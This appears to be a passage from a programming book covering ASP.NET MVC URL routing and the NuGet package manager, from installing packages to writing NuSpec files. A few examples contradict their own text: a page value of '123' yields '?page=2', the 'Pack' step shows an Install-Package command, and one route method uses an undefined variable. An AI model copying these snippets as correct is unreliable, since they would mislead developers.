The Previous and Next buttons are used to navigate to the previous and next pages of data, respectively, but all these requests are handled by the same controller and action.

The following route handles these requests:

```

public static void RegisterRoutes(RouteCollection routes)
{
    routes.MapRoute("tasks", "{controller}/{action}/{page}",
        new {controller="tasks", action="list", page=0 });
}
  
```

**FIGURE 9-4**

In order to generate links to the previous and next pages, you'd typically need to specify all the URL parameters in the route. So, to generate a link to page 2, you might use the following code in the view:

```
@Html.ActionLink("Page 2", "List",
    new { controller="tasks", action="List", page = 2})
```

However, you can shorten this by taking advantage of ambient route values. The following is the URL for page 2 of the list of tasks.

`tasks/list/2`

Table 9-6 shows the route data for this request.

TABLE 9-6: Route Data

KEY	VALUE
Controller	tasks
Action	List
Page	2

To generate the URL for the next page, you only need to specify the route data that will change in the new request:

```
@Html.ActionLink("Page 2", "List", new { page = 2})
```

Even though the call to `ActionLink` supplied only the `page` parameter, the Routing system used the ambient route data values for the controller and action when performing the route lookup. The *ambient values* are the current values for those parameters within the `RouteData` for the current request. Explicitly supplied values for the controller and action would, of course, override the ambient values.

To un-set an ambient value when generating a URL, specify the key in the dictionary of parameters and have its value set to either null or an empty string.

Overflow Parameters

Overflow parameters are route values used in URL generation that are not specified in the route's definition. By definition, we mean the route's URL, its defaults dictionary, and its constraints dictionary. Note that ambient values are never used as overflow parameters.

Overflow parameters used in route generation are appended to the generated URL as query string parameters. Again, an example is most instructive in this case. Assume that the following default route is defined:

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.MapRoute(
        "Default",
        "{controller}/{action}/{id}",
        new { controller = "Home", action = "Index", id = UrlParameter.Optional }
    );
}
```

Suppose you're generating a URL using this route and you pass in an extra route value, `page = 2`. Notice that the route definition doesn't contain a URL parameter named "page." In this example, instead of generating a link, you'll just render out the URL using the `Url.RouteUrl` method.

```
@Url.RouteUrl(new { controller="Report", action="List", page="123"})
```

The URL generated will be `/Report/List?page=2`. As you can see, the parameters we specified are enough to match the default route. In fact, we've specified more parameters than needed. In those cases, those extra parameters are appended as query string parameters. The important thing to note is that Routing is not looking for an exact match when determining which route is a match. It's looking for a sufficient match. In other words, as long as the specified parameters meet the route's expectations, it doesn't matter if extra parameters are specified.

More Examples of URL Generation with the Route Class

Let's assume that the following route is defined:

```
public static void RegisterRoutes(object sender, EventArgs e)
{
    routes.MapRoute("report",
        "reports/{year}/{month}/{day}",
        new {day = 1}
    );
}
```

Here are some results of some `Url.RouteUrl` calls that take the following general form:

```
@Url.RouteUrl(new {param1 = value1, param2 = value2, ..., paramN, valueN})
```

Parameters and the resulting URL are shown in Table 9-7.

TABLE 9-7: Parameters and Resulting URL for GetVirtualPath

PARAMETERS	RESULTING URL	REASON
<code>year=2007, month=1, day=12</code>	<code>/reports/2007/1/12</code>	Straightforward matching
<code>year=2007, month=1</code>	<code>/reports/2007/1</code>	Default for day = 1
<code>Year=2007, month=1, day=12, category=123</code>	<code>/reports/2007/1/12?category=123</code>	“Overflow” parameters go into query string in generated URL
<code>Year=2007</code>	Returns null	Not enough parameters supplied for a match

UNDER THE HOOD: HOW ROUTES TIE YOUR URL TO AN ACTION

This section provides a peek under the hood to get a detailed understanding of how these pieces tie together. This will give you a better picture of where the dividing line is between Routing and MVC.

One common misconception is that Routing is just a feature of ASP.NET MVC. During early previews of ASP.NET MVC 1.0 this was true, but it quickly became apparent that Routing was a useful feature in its own right beyond ASP.NET MVC. For example, the ASP.NET Dynamic Data team was also interested in using Routing. At that point, Routing became a more general-purpose feature that had neither internal knowledge of nor a dependency on MVC.

To better understand how Routing fits into the ASP.NET request pipeline, let's look at the steps involved in routing a request.

NOTE *The discussion here focuses on Routing for IIS 7 (and above) Integrated Mode. There are some slight differences when using Routing with IIS 7 Classic Mode or IIS 6. When using the Visual Studio built-in web server, the behavior is very similar to the IIS 7 Integrated Mode.*

The High-Level Request Routing Pipeline

The Routing pipeline consists of the following high-level steps when a request is handled by ASP.NET:

1. The `UrlRoutingModule` attempts to match the current request with the routes registered in the `RouteTable`.
2. If one of the routes in the `RouteTable` matches, the Routing module grabs the `IRouteHandler` from that route.
3. The Routing module calls the `GetHandler` method of the `IRouteHandler`, which returns the `IHttpHandler` that will be used to process the request.
4. `ProcessRequest` is called on the HTTP handler, thus handing off the request to be handled.
5. In the case of ASP.NET MVC, the `IRouteHandler` is an instance of `MvcRouteHandler`, which, in turn, returns an `MvcHandler` that implements `IHttpHandler`. The `MvcHandler` is responsible for instantiating the controller, which, in turn, calls the action method on that controller.

RouteData

Recall that when the `GetRouteData` method is called it returns an instance of `RouteData`. What exactly is `RouteData`? `RouteData` contains information about the route that matched that request.

Earlier we showed a route with the following URL: `{controller}/{action}/{id}`. When a request for `/albums/list/123` comes in, the route attempts to match the request. If it does match, it then creates a dictionary that contains information parsed from the URL. Specifically, it adds a key to the dictionary for each URL parameter in the route URL.

In the case of `{controller}/{action}/{id}`, the dictionary will contain at least three keys: "controller," "action," and "id." In the case of `/albums/list/123`, the URL is parsed to supply values for these dictionary keys. In this case, `controller = albums`, `action = list`, and `id = 123`.

The `RouteData` property of the `RequestContext` that is used throughout MVC is where the ambient route values are kept.

CUSTOM ROUTE CONSTRAINTS

The “Route Constraints” section earlier in this chapter covered how to use regular expressions to provide fine-grained control over route matching. As you might recall, we pointed out that the `RouteValueDictionary` class is a dictionary of string-object pairs. When you pass in a string as a constraint, the `Route` class interprets the string as a regular expression constraint. However, it is possible to pass in constraints other than regular expression strings.

Routing provides an `IRouteConstraint` interface with a single `Match` method. Here’s a look at the interface definition:

```
public interface IRouteConstraint
{
    bool Match(HttpContextBase httpContext, Route route, string parameterName,
               RouteValueDictionary values, RouteDirection routeDirection);
}
```

When Routing evaluates route constraints, and a constraint value implements `IRouteConstraint`, it will cause the route engine to call the `IRouteConstraint.Match` method on that route constraint to determine whether or not the constraint is satisfied for a given request.

Route constraints are run for both incoming URLs and while generating URLs. A custom route constraint will often need to inspect the `routeDirection` parameter of the `Match` method to apply different logic depending on when it is being called.

Routing itself provides one implementation of this interface in the form of the `HttpMethodConstraint` class. This constraint allows you to specify that a route should match only requests that use a specific set of HTTP methods (verbs).

For example, if you want a route to respond only to GET requests, but not POST, PUT, or DELETE requests, you could define the following route:

```
routes.MapRoute("name", "{controller}", null
    , new {httpMethod = new HttpMethodConstraint("GET")});
```

NOTE *Custom constraints don't have to correspond to a URL parameter. Thus, it is possible to provide a constraint that is based on some other piece of information, such as the request header (as in this case), or on multiple URL parameters.*

USING ROUTING WITH WEB FORMS

Although the main focus of this book is on ASP.NET MVC, Routing is a core feature of ASP.NET, so you can use it with Web Forms as well. This section first looks at the easy case, ASP.NET 4, because it includes full support for Routing with Web Forms.

In ASP.NET 4, you can add a reference to `System.Web.Routing` to your `Global.asax` and declare a Web Forms route in almost the exact same format as an ASP.NET MVC application:

```
void Application_Start(object sender, EventArgs e)
{
    RegisterRoutes(RouteTable.Routes);
}

private void RegisterRoutes(RouteCollection routes)
{
    routes.MapPageRoute(
        "product-search",
        "albums/search/{term}",
        "~/AlbumSearch.aspx");
}
```

The only real difference from an MVC route is the last parameter, in which you direct the route to a Web Forms page. You can then use `Page.RouteData` to access the route parameter values, like this:

```
protected void Page_Load(object sender, EventArgs e)
{
    string term = RouteData.Values["term"] as string;

    Label1.Text = "Search Results for: " + Server.HtmlEncode(term);
    ListView1.DataSource = GetSearchResults(term);
    ListView1.DataBind();
}
```

You can use Route values in your markup as well, using the new `<asp:RouteParameter>` object to bind a segment value to a database query or command. For instance, using the preceding route, if you browsed to `/albums/search/beck`, you can query by the passed route value using the following SQL command:

```
<asp:SqlDataSource id="SqlDataSource1" runat="server"
    ConnectionString="<%$ ConnectionStrings:Northwind %>" 
    SelectCommand="SELECT * FROM Albums WHERE Name LIKE @searchterm + '%'">
<SelectParameters>
    <asp:RouteParameter name="searchterm" RouteKey="term" />
</SelectParameters>
</asp:SqlDataSource>
```

You can also use the `RouteValueExpressionBuilder` to write out a route parameter value a little more elegantly than just writing out `Page.RouteValue["key"]`. If you want to write out the search term in a label, you can do the following:

```
<asp:Label ID="Label1" runat="server" Text="<%$RouteValue:Term%>" />
```

You can generate outgoing URLs for using the `Page.GetRouteUrl()` in code-behind logic method:

```
string url = Page.GetRouteUrl(
    "product-search",
    new { term = "chai" });
```

The corresponding `RouteUrlExpressionBuilder` allows you to construct an outgoing URL using Routing:

```
<asp:HyperLink ID="HyperLink1"
    runat="server"
    NavigateUrl="<%$RouteUrl:SearchTerm=Chai%>">
        Search for Chai
    </asp:HyperLink>
```

SUMMARY

Routing is much like the Chinese game of Go: It's simple to learn but takes a lifetime to master. Well, maybe not a lifetime, but certainly a few days at least. The concepts are basic, but in this chapter you've seen how Routing can enable several very sophisticated scenarios in your ASP.NET MVC (and Web Forms) applications.

- Installing NuGet
- Installing packages
- Creating packages
- Publishing packages

NuGet is a package-management system for .NET and Visual Studio that makes it easy to add, update, and remove external libraries and their dependencies in your application. NuGet also makes it easy to create packages that you can share with the world. This chapter covers the basics of how to use NuGet in your application development workflow, and looks at some more advanced uses of NuGet.

INTRODUCTION TO NUGET

Try as it might, Microsoft cannot provide every possible piece of code a developer could need. There are millions of developers on the .NET platform, each with unique problems to solve. It doesn't scale or make sense to wait on Microsoft to solve every problem.

The good news is that many developers don't wait around to "scratch their own itch." They solve their own problems (and those of their peers) with useful libraries that they write and then distribute on the Web.

Three big challenges with all these libraries out there in the wild are *discovery*, *installation*, and *maintenance*. How do developers find a library in the first place? Once they find it, how do they make use of it in their projects? And once they've installed it, how do they track project updates?

This section walks through a quick example of the steps necessary to install ELMAH without the benefit of NuGet. ELMAH stands for *Error Logging Module and Handler* and is used to log and display unhandled exception information within a web application. The steps are especially familiar to the NuGet team because we use ELMAH in the NuGet.org site, which is discussed in Chapter 16.

These are the steps it takes to make use of the library:

1. Find ELMAH. Due to its unique name, this is easy with any search engine.
2. Download the correct zip package. Multiple zip files are presented and, as I personally learned, choosing the correct one isn't always trivial.
3. "Unblock" the package. Files downloaded from the Web are marked with metadata that specifies they came from the "web zone" and are potentially unsafe. This mark is sometimes referred to as the "Mark of the Web" (MOTW). It's important to unblock the zip file before you expand it, otherwise every file within has the bit set and your code won't work in certain cases. If you're curious about how this mark is set, read up on the Attachment Manager in Windows, which is responsible for protecting the OS from potentially unsafe attachments (<http://support.microsoft.com/kb/883260>).
4. Verify its hash against the one provided by the hosting environment. You do verify the hash of the file with the one listed in the download page to ensure that it hasn't been altered, don't you? Don't you?!
5. Unzip the package contents into a known location. Typically, this will be placed in a `lib` folder so you can reference the assembly. Developers typically don't want to add assemblies directly to the `bin` directory because they don't want to add the `bin` directory to source control.
6. Add an assembly reference. Add a reference to the assembly in the Visual Studio Project.
7. Update `web.config`. ELMAH requires a bit of configuration. Typically, you would search the documentation to find the correct settings.

All these steps for a library, ELMAH, that doesn't even have any dependencies! And if the library does have dependencies, every time you update the library, you need to find the correct version of each dependency and repeat each of the previous steps for each dependency. This is a painful set of tasks to undertake every time you are ready to deploy a new version of your application, which is why many teams just stick with old versions of their dependencies for a long time.

This is the pain that NuGet solves. NuGet automates all these common and tedious tasks for a package as well as its dependencies. It removes most of the challenges of incorporating a third-party open source library into a project's source tree. Of course, it is still up to the developer to use that library properly.

INSTALLING NUGET

This section looks at how NuGet solves that pain with a walkthrough of using NuGet to install ELMAH. The number of steps is vastly reduced as compared to doing this manually. The first step is a one-time-only step: you have to install NuGet itself.

If you have ASP.NET MVC 4 or Visual Studio 2012 installed, you already have NuGet. If you are still using Visual Studio 2010 and don't have NuGet installed, it's easy to install it via the Visual Studio Extension Manager, as shown in the following steps:

- Click Tools \leftrightarrow Extension Manager, as shown in Figure 10-1. This brings up the Extension Manager dialog, which is used to install extensions to Visual Studio.

FIGURE 10-1

- The dialog lists installed packages by default, so be sure to click the Online Gallery tab, as shown in Figure 10-2.

FIGURE 10-2

- At the time that I write this, NuGet is the most popular extension in the gallery. This conveniently places it first in the list of online packages in the dialog. You can also type NuGet in the search bar in the top right to find it. Either way, once you find NuGet, click the Download button and follow the instructions to install it.

If you already have NuGet installed, click the Updates tab to see if a newer version is available. The NuGet team plans to release a new minor version update on a monthly basis, give or take, so there might be some new goodies in there by the time you read this.

ADDING A LIBRARY AS A PACKAGE

With NuGet installed, you can now easily add a library such as ELMAH into your project.

You have two ways to interact with NuGet: the Manage NuGet Packages dialog and the Package Manager Console. I'll cover the dialog first and the console later. You can launch the dialog from within a project by right-clicking the References node in the Solution Explorer, as shown in Figure 10-3. You can also launch it by right-clicking the project name.

The Manage NuGet Packages dialog looks very similar to the Extension Manager dialog, which leads to confusion for some people. The distinction between the two is very clear.

The Visual Studio Extension Manager installs extensions that extend and enhance Visual Studio. These extensions are not deployed as part of your application. In contrast, the purpose of NuGet is to install packages that are included in and extend your project. In most cases, the contents of these packages are deployed as part of your application.

Unlike the Extension Manager, the Manage NuGet Packages dialog defaults to the section it was on the last time it was run. Be sure to click the Online node in the left pane to see packages available in the NuGet feed, as shown in Figure 10-4.

Finding Packages

If you're a glutton for punishment, you can use the paging links at the bottom to page through the list of packages till you find the one you want, but the quickest way is to use the search bar in the top right.

When you find a package, the pane on the right displays information about the package. Figure 10-5 shows the information pane for the SignalR package.

This pane provides the following information:

- **Created By:** A list of authors of the original library. At the time I write this, the pane does not list the owners of the package, just the authors. In some cases, the owners are different from the library authors.
- **Id:** The identifier for the package. This is the id used when installing the package using the Package Manager Console.

FIGURE 10-3

FIGURE 10-4

- **Version:** The version number of the package. Typically, this matches the version of the contained library, but it isn't necessarily the case.
- **Downloads:** Download count for the current gallery.
- **View License Terms:** Click this link to view the license terms for the package.
- **Project Information:** This link takes you to the package's project page.
- **Report Abuse:** Use this link to report broken or malicious packages.
- **Description:** This is a good place for the package author to display brief release notes for a package.
- **Dependencies:** A list of other packages that this package depends on.

As you can see in the screenshot, the SignalR package depends on two other packages: `SignalR.Hosting.AspNet` and `SignalR.Js`. The information displayed is controlled by the package's NuSpec file, which is covered in more detail later.

FIGURE 10-5

Installing a Package

To install a package, perform the following steps:

1. Type **ELMAH** in the search box to find it.
2. Once you've found the package, click the Install button to install it. This downloads the package, as well as all the packages it depends on, before it installs the package to your project.

NOTE In some cases, you're prompted to accept the license terms for the package, as well as any dependencies that also require license acceptance. Figure 10-6 shows what happens when you try to install the EntityFramework.SqlServerCompact package. Requiring license acceptance is a setting in the package set by the package author.

FIGURE 10-6

When NuGet installs the ELMAH package, it makes a few changes to your project. The first time any package is installed into a project, a new file named packages.config is added to the project, as shown in Figure 10-7. This file will already exist in an ASP.NET MVC 4 project since the project template itself includes several NuGet packages. This file keeps a list of packages installed in the project.

The format for this file is very simple. Here's an example showing that version 1.2.2 of the ELMAH package is installed:

```
<?xml version="1.0" encoding="utf-8"?>
<packages>
    <package id="elmah" version="1.2.2" />
</packages>
```

FIGURE 10-7

Also notice that you now have an assembly reference to the Elmah.dll assembly, as shown in Figure 10-8.

Where is that assembly referenced from? To answer that, you need to look at what files are added to your solution when a package is installed. When the first package is installed into a project, a packages folder is created in the same directory as the solution file, as shown in Figure 10-9.

FIGURE 10-8

FIGURE 10-9

The packages folder contains a subfolder for each installed package. Figure 10-10 shows a packages folder with multiple installed packages.

Note that the folders contain a version number because this folder stores all the packages installed for a given *solution*. It's possible for two projects in the same solution to each have a different version of the same package installed.

Figure 10-10 also shows the contents of the ELMAH package folder, which contains the contents of the package along with the original package itself in the form of the .nupkg file.

FIGURE 10-10

The lib folder contains the ELMAH assembly, and this is the location from which the assembly is referenced. This is why you may want to commit the packages folder into your version control repository. This allows everyone who works on the same code to get the latest version from version control and be in the same state. Not everyone likes the idea of including the packages folder in his or her version control repository. The “Package Restore” section later in this chapter covers an alternative workflow supported by NuGet that doesn't require committing packages to version control.

Package restore is most commonly used with distributed version control systems, such as Git and Mercurial.

The content folder contains files that are copied directly into the project root. The directory structure of the content folder is maintained when it is copied into the project. This folder may also contain source code and configuration file transformations, which are covered in more depth later. In the case of ELMAH, there's a `web.config.transform` file, which updates the `web.config` with settings required by ELMAH, as shown in the following code:

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <configSections>
        <sectionGroup name="elmah">
            <section name="security" requirePermission="false"
                type="Elmah.SecuritySectionHandler, Elmah" />
            <section name="errorLog" requirePermission="false"
                type="Elmah.ErrorLogSectionHandler, Elmah" />
            <section name="errorMail" requirePermission="false"
                type="Elmah.ErrorMailSectionHandler, Elmah" />
            <section name="errorFilter" requirePermission="false"
                type="Elmah.ErrorFilterSectionHandler, Elmah" />
        </sectionGroup>
    </configSections>
    ...
</configuration>
```

Some packages contain a `tools` folder, which may contain PowerShell scripts. We'll cover that in more detail later in this chapter.

With all these settings in place, you are now free to make use of the library in your project, with the benefits of full IntelliSense and programmatic access to it. In the case of ELMAH, you have no additional code to write in order to try it out. To see ELMAH in action, run the application and visit `/elmah.axd` (see Figure 10-11).

NOTE *What you just saw is that once you have NuGet installed, adding ELMAH to your project is as easy as finding it in the NuGet dialog and clicking the Install button. NuGet automates all the boring rote steps it normally takes to add a library to your project in a way that you're immediately ready to take advantage of it.*

Updating a Package

Even better, say you've installed 10 or so packages in your project. At some point, you're going to want to update all your packages to the latest version of each. Before NuGet, this was a time-consuming process of searching for and visiting the homepage of each library and checking the latest version against the one you have.

With NuGet, it's as easy as clicking the Updates node in the left pane. This displays a list of packages in the current project that have newer versions available. Click the Update button next to each package to upgrade the package to the latest version. This will also update all the dependencies of the packages, ensuring that only compatible versions of the dependencies are installed.

FIGURE 10-11

Recent Packages

The Recent Packages node shows the last 25 packages that were directly installed. Packages installed because they were a dependency of the package you chose to install do not show up in this list. This is useful for packages you use often or when you install a package into multiple projects.

To clear the list of recent packages, go to the General node of the Package Manager settings dialog and click the Clear Recent Packages button.

Package Restore

As I mentioned earlier, the default NuGet workflow assumes the developer will commit the Packages folder into version control. One benefit of this approach is that retrieving the solution from version control ensures that everything needed to build the solution is available. The packages do not need to be retrieved from another location.

However, there are a couple of downsides to this approach. The Packages folder is not part of the Visual Studio solution, so developers who administer version control via Visual Studio integration need to take an additional step to ensure the Packages folder is committed. If you happen to use TFS (Team Foundation System) for source control, NuGet automatically commits the Packages folder.

Developers who use a distributed version control system (DVCS), such as Git or Mercurial, face another downside. Typically, a DVCS is not great with binary files. If a project contains a large number of packages that change a lot, the DVCS repository can grow quite large. In this case, it might make sense *not* to commit the Packages folder to version control.

NuGet 1.6 introduced the package restore feature to address these downsides and support a workflow that doesn't require developers to commit packages to source control.

To enable package restore, right-click on the solution within Visual Studio and select the Enable NuGet Package Restore menu option, as shown in Figure 10-12. This brings up a dialog with information about the changes this will make to your solution (see Figure 10-13).

FIGURE 10-12

FIGURE 10-13

As the dialog states, this adds a folder named `.nuget` to the root of your solution. You absolutely must make sure this folder is committed to source control, as it contains the build tasks that enable package restore. The good news is that the contents of this folder will rarely need to change, so this is a one-time operation.

There are three to four files within this folder:

- **NuGet.config:** Contains configuration settings for NuGet. Currently, there is one setting, `disableSourceControlIntegration`, that is set to true when package restore is enabled, since the `Packages` folder will not be committed to source control any longer.

- **NuGet.exe:** The command-line version of NuGet that actually restores the packages. Note that as of NuGet 2.0, package restore requires the user's consent via a NuGet setting or an environment variable, `EnableNuGetPackageRestore`. See the NuGet blog post for more details: <http://blog.nuget.org/20120518/package-restore-and-consent.html>.
- **NuGet.targets:** The MSBuild tasks that shell out to NuGet.exe and ensure that missing packages are restored during compilation.
- **Packages.config:** If the solution contains packages that are only installed in the solution and not in any individual project, those packages are listed here. For example, a package that adds commands to the Package Manager Console (covered later) but doesn't contain any assemblies might be listed here.

With package restore enabled, the Packages folder need not be committed to source control; instead, only the source code is committed. When a new developer gets the source code from version control, he or she just needs to build the solution to restore all the package files.

NuGet will then look at each package entry in each `Packages.config` file and download and unpack the package. Note that it doesn't "install" the package. The assumption is that the package was already installed and all the changes it made to your solution are already committed. The only things missing are the files in the Packages folder, such as assemblies and tools.

Using the Package Manager Console

Earlier I mentioned that there were two ways to interact with NuGet. In this section I cover the second way, the Package Manager Console. This is a PowerShell-based console within Visual Studio that provides a powerful way to find and install packages and supports a few additional scenarios that the dialog doesn't.

To launch and use the console, follow these steps:

1. Launch the console by selecting Tools → Library Package Manager → Package Manager Console, as shown in Figure 10-14. This brings up the Package Manager Console, which enables you to perform all the actions available to you from the dialog.
2. Perform an action: This is done with commands such as `Get-Package`, which lists available packages online. This command supports search filters, as shown in Figure 10-15.
3. Use tab expansions: Figure 10-16 shows an example of tab expansion at work with the `Install-Package` command. As you might guess, this command enables you to install a package. The tab expansion shows a list of packages from the feed, starting with the characters you've typed in so far.

One nice thing about PowerShell commands is that they support tab expansions, which means you can type the first few letters of a command and hit the Tab key to see a range of options.

- 4.** Compose commands: PowerShell also enables composing commands together by piping one command into another. For example, if you want to install a package into every project in your solution, you can run the following command:

```
Get-Project -All | Install-Package log4net
```

The first command retrieves every project in your solution and pipes the output to the second command, which installs the specified package into each project.

- 5.** Dynamically add new commands: One very powerful aspect of the PowerShell interface is that some packages will add new commands to the shell you can use. For example, after you install the MvcScaffolding package, the console will support new commands for scaffolding a controller and its views.

**FIGURE 10-16**

Figure 10-17 shows an example of installing MvcScaffolding and then running the new Scaffold command, which was added by the package.

**FIGURE 10-17**

By default, the Package Manager Console commands work against the “All” package source. This package source is an aggregate of all the configured package sources. To change the current package source, use the Package source drop-down at the top left of the console to select a different package source or use the -Source flag to specify a different package source when running a command. The flag changes the package source for the duration of that command. To change the set of configured package sources, click the button that looks like a gear to the right of the Package source drop-down. This brings up the Configure Package Sources dialog.

Likewise, the Package Manager Console applies its commands to the default project. The default project is displayed in a drop-down at the top right of the console. When you run a command to install a package, it only applies to the default project. Use the `-Project` flag followed by the project name to apply the command to a different project.

For more details about the Package Manager Console and a reference list of the available commands, visit the NuGet Docs website: <http://docs.nuget.org/docs/reference/package-manager-console-powershell-reference>.

CREATING PACKAGES

Although it is very easy to consume packages with NuGet, there wouldn't be any packages to consume if people didn't also create them. This is why the NuGet team made package creation as simple as possible.

Before you create a package, make sure to download the `NuGet.exe` command-line utility from the NuGet CodePlex website at <http://nuget.codeplex.com/>. Copy `NuGet.exe` to a more central location on your hard drive and add that location to your `PATH` environment variable.

`NuGet.exe` is self-updatable via the `Update` command. For example, you can run:

```
NuGet.exe update -self
```

or use the short form:

```
Nuget u -self
```

This backs up the current version of `NuGet.exe` by appending the `.old` extension to its file name, and then replaces it with the latest version of `NuGet.exe`.

Once you have `NuGet.exe` installed, there are three main steps to create a package:

1. Organize the package contents into a convention-based folder structure.
2. Specify the metadata for the package in a `.nuspec` file.
3. Run the `NuGet.exe Pack` command against the `.nuspec` file:

```
Install-Package NuGet.CommandLine
```

Packaging a Project

In many cases, a package contains a single assembly that maps nicely to a Visual Studio project (a `.csproj` or `.vbproj`). In this case, creating a NuGet package is trivially easy. From a command prompt, navigate to the directory containing your project file and run the following command:

```
NuGet.exe pack MyProject.csproj -Build
```

If the directory contains only a single project file, you can omit the project file name. This will compile the project and use the project's assembly metadata to fill in the NuGet metadata.

Typically, though, you'll want to customize the package's metadata. You can do this via the following command:

```
NuGet.exe spec MyProject.csproj
```

This creates a `.nuspec` file (covered later in this section) with special replacement tokens for information that will be retrieved from the assembly. The NuGet docs go into much more detail about this here: <http://docs.nuget.org/docs/creating-packages/creating-and-publishing-a-package>.

Packaging a Folder

NuGet also supports creating a package based on a folder structure. This makes sense when you don't have a simple mapping from a project to a package — for example, your package contains versions of your assembly for multiple versions of the .NET Framework.

By default, the `NuGet Pack` command recursively includes all the files in the folder where the specified `.nuspec` file is located. It is possible to override this default by specifying the set of files to include within the `.nuspec` file.

A package consists of three types of files, as outlined in Table 10-1.

TABLE 10-1: Package File Types

FOLDER	DESCRIPTION
Lib	Each assembly (<code>.dll</code> file) in this folder gets referenced as an assembly reference in the target project.
Content	Files within the content folder are copied to the application root when the package is installed. If the file ends with the <code>.pp</code> or <code>.transform</code> extension, a transformation is applied before copying it.
Tools	Contains PowerShell scripts that may be run during installation or initialization of the solution, as well as any programs that should be accessible from the Package Manager Console.

Typically, when creating a package, you'll set up one or more of these default folders with the files needed for your package. Most packages add an assembly into a project, so it's worth going into more detail about the structure of the `lib` folder.

If your package requires extra details for the developer who uses it, include a `readme.txt` file in the root of the package. When the package is installed, NuGet will open the `readme.txt` file when installation is complete. However, to avoid overwhelming users with a bunch of opened `readme` files, the `readme` is opened only when the developer installs that package directly, not when it is installed as a dependency to another package.

NuSpec File

When you create a package, you'll want to specify information about the package, such as the package ID, a description, the authors, and so on. All this metadata is specified in an XML format in a `.nuspec` file. This file is also used to drive package creation and is included within the package after creation.

A quick way to write a NuSpec file is to use the `NuGet Spec` command to generate a boilerplate spec file. Use the `AssemblyPath` flag to generate a NuSpec file from the metadata stored in an assembly. For example, if you have an assembly named `MusicCategorizer.dll`, the following would be the command to generate a NuSpec file from the assembly's metadata:

```
nuget spec -AssemblyPath MusicCategorizer.dll
```

This command generates the following NuSpec file:

```
<?xml version="1.0"?>
<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd">
  <metadata>
    <id>MusicCategorizer</id>
    <version>1.0.0.0</version>
    <title>MusicCategorizer</title>
    <authors>Haackbeat Enterprises</authors>
    <owners>Owner here</owners>
    <licenseUrl>http://LICENSE_URL_HERE_OR_DELETE_THIS_LINE</licenseUrl>
    <projectUrl>http://PROJECT_URL_HERE_OR_DELETE_THIS_LINE</projectUrl>
    <iconUrl>http://ICON_URL_HERE_OR_DELETE_THIS_LINE</iconUrl>
    <requireLicenseAcceptance>false</requireLicenseAcceptance>
    <description>
      Categorizes music into genres and determines beats per minute (BPM) of a song.
    </description>
    <tags>Tag1 Tag2</tags>
    <dependencies>
      <dependency id="SampleDependency" version="1.0" />
    </dependencies>
  </metadata>
</package>
```

All NuSpec files start with the outer `<package>` element. This element must contain a child `<metadata>` element and optionally may contain a `<files>` element, which I cover later. If you follow the folder structure convention mentioned earlier, the `<files>` element is not needed.

Metadata

Table 10-2 outlines the elements contained within the `<metadata>` section of a NuSpec file.

TABLE 10-2: Metadata Elements

ELEMENT	DESCRIPTION
<code>id</code>	<i>Required.</i> The unique identifier for the package.
<code>version</code>	<i>Required.</i> The version of the package using the standard version format of up to four version segments (ex. 1.1 or 1.1.2 or 1.1.2.5).
<code>title</code>	The human-friendly title of the package. If omitted, the ID is displayed instead.
<code>authors</code>	<i>Required.</i> A comma-separated list of authors of the package code.

ELEMENT	DESCRIPTION
owners	A comma-separated list of the package creators. This is often, though not necessarily, the same list as in authors. Note that when you upload your package to the gallery, the account on the gallery supersedes this field.
licenseUrl	A link to the package's license.
projectUrl	A URL for the homepage of the package where people can find more information about the package.
iconUrl	A URL for the image to use as the icon for the package in the dialog. This should be a 32x32-pixel .png file that has a transparent background.
requireLicenseAcceptance	A Boolean value that specifies whether the client needs to ensure that the package license (described by licenseUrl) is accepted before the package is installed.
description	<i>Required.</i> A long description of the package. This shows up in the right pane of the Package Manager dialog.
releaseNotes	A description of changes made in this version of the package. The release notes are shown instead of the description when looking at package updates.
tags	A space-delimited list of tags and keywords that describe the package.
frameworkAssemblies	List of .NET Framework assembly references that will be added to the target project.
references	Names of assemblies within the lib folder that will be added to the project as assembly references. Leave this blank if you want all assemblies in the lib folder to be added (the default behavior). If you specify any references, only those assemblies are added.
dependencies	The list of dependencies for the package specified via child <dependency> elements.
language	The Microsoft Locale ID string (or LCID string) for the package, such as en-us.
copyright	Copyright details for the package.
summary	A short description of the package. This shows up in the middle pane of the Package Manager dialog.

It's very important to choose an ID for a package carefully because it must be unique. This is the value used to identify a package when running commands to install and update packages.

The format for a package ID follows the same basic rules as a .NET namespace.

So `MusicCategorizer` and `MusicCategorizer.Mvc` are valid package IDs, but

`MusicCategorizer!!!Web` is not.

Dependencies

Many packages are not developed in isolation, but themselves depend on other libraries. You could include those dependencies in your package, but if they are available as NuGet packages, an even better approach is to specify those packages as dependencies in your package's metadata. If those libraries don't exist as packages, contact the owners of the library and offer to help them package it up!

Each `<dependency>` contains two key pieces of information, as shown in Table 10-3.

TABLE 10-3: Dependency Elements

ATTRIBUTE	DESCRIPTION
<code>id</code>	The package ID that this package depends on
<code>version</code>	The range of versions of the dependency package that this package may depend on

As mentioned in Table 10-3, the `version` attribute specifies a range of versions. By default, if you just enter a version number, for example `<dependency id="MusicCategorizer" version="1.0" />`, that indicates a minimum version for the dependency. This example shows a dependency that allows your package to take a dependency on version 1.0 and above of the `MusicCategorizer` package.

If more control over the dependencies is required, you can use interval notation to specify a range. Table 10-4 shows the various ways to specify a version range.

TABLE 10-4: Version Ranges

RANGE	MEANING
1.0	Version is greater than or equal to 1.0. This is the most common and recommended usage.
[1.0, 2.0)	Version is between 1.0 and 2.0 including 1.0, but excluding 2.0.
(,1.0]	Version is less than or equal to 1.0.
(,1.0)	Version is strictly less than 1.0.
[1.0]	Version is exactly 1.0.
(1.0,)	Version is strictly greater than 1.0.
(1.0,2.0)	Version is between 1.0 and 2.0, excluding those versions.

RANGE	MEANING
[1.0,2.0]	Version is between 1.0 and 2.0 including those versions.
(1.0, 2.0]	Version is between 1.0 and 2.0 excluding 1.0, but including 2.0.
(1.0)	Invalid.
Empty	All versions.

In general, the recommended approach is to specify only a lower bound. This gives the person who installs the package a fighting chance to make it work with a newer version of the dependency. If you specify an upper bound, it blocks them from even trying to make it work with a higher version of the dependency prematurely. In the case of strongly named assemblies, NuGet automatically adds the appropriate assembly binding redirects to the target project's configuration file.

For an in-depth discussion of the versioning strategy employed by NuGet, read the blog series by David Ebbo at <http://blog.davidebbo.com/2011/01/nuget-versioning-part-1-taking-on-dll.html>.

Specifying Files to Include

